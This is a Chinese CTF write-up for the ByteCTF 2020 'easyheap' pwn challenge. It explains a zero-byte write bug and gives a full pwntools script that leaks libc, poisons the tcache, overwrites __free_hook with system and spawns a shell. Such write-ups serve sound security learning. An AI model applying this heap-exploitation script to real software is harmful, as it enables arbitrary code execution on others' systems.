bytectf2020 easyheap

做一下高版本的堆题目,2.34的glibc符号实在是搞不了,glibc in all one里面下载都是不全的,先做一下2.31的堆吧
bytectf2020 easyheap_第1张图片经典的菜单题,漏洞在new函数里
bytectf2020 easyheap_第2张图片堆限制了大小不能超过0x80,并且会有在最后的位置置零,但是这里的size_1是我们自己设置的,也就是说我们可以在任意地方写0,我们先释放7个堆块,把0x90大小的堆块放进unsorted bins里面,然后再申请出来,堆块就会把main_aren带出来,我们打印出来就能得到libc基值,但是堆块会清空原来空闲的堆块,但是和calloc不一样,这里的size是我们给的,如果我们申请0x1大小的堆块,我们申请到的是0x20大小的堆块,只会把一位清空,还有要注意的是,末尾补零会加上一个’\x00’,会导致printf不了,我们让这个补零远一点就行。
在这里插入图片描述

for i in range(8):
    add(0x80,'a'*8)
show(0)
for i in range(7):
    free(7-i)
free(0)
evil_add(0x100,1,'a')
gdb.attach(io)
show(0)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebc61
success('libc_base = '+hex(libc_base))

然后因为我们有个0任意写,我们可以攻击fd,但是我们先要生成一个地址以00为结尾的堆块
在这里插入图片描述因为2.31的特性。他cache拿取堆块的时候和arry有很大关系,如果arry是0是拿不了堆块的,反之如果arry不是0,就算tcache是空的也会拿取堆块,这里我们先free一个堆块让arry尽量打,然后攻击fd
在这里插入图片描述

下面就是简单的攻击free_hook

#!/usr/bin/python
#coding:utf-8
import os
from pwn import *
context(os='linux',arch='amd64', log_level='debug')#arch = 'i386')
filename='./easyheap'
io=process(filename)
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc/libc-2.31.so')
elf=ELF(filename)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)

cho='>> '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def free(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index):
    sal(cho,str(2))
    sal(ind,str(index))
def evil_add(size_1,size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size_1))
    sal(siz,str(size))
    sal(con,content)
for i in range(8):
    add(0x80,'a'*8)
show(0)
for i in range(7):
    free(7-i)
free(0)
evil_add(0x100,1,'a')
#gdb.attach(io)
show(0)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebc61
success('libc_base = '+hex(libc_base))
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
free(2)
free(5)
free(4)
#gdb.attach(io)
evil_add(0x4d1,0x80,'a'*80)
free(0)
free(4)
gdb.attach(io)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
add(0x60,p64(system))
add(0x80,'/bin/sh\x00')
free(6)
io.interactive()

你可能感兴趣的:(c语言,开发语言,后端,pwn)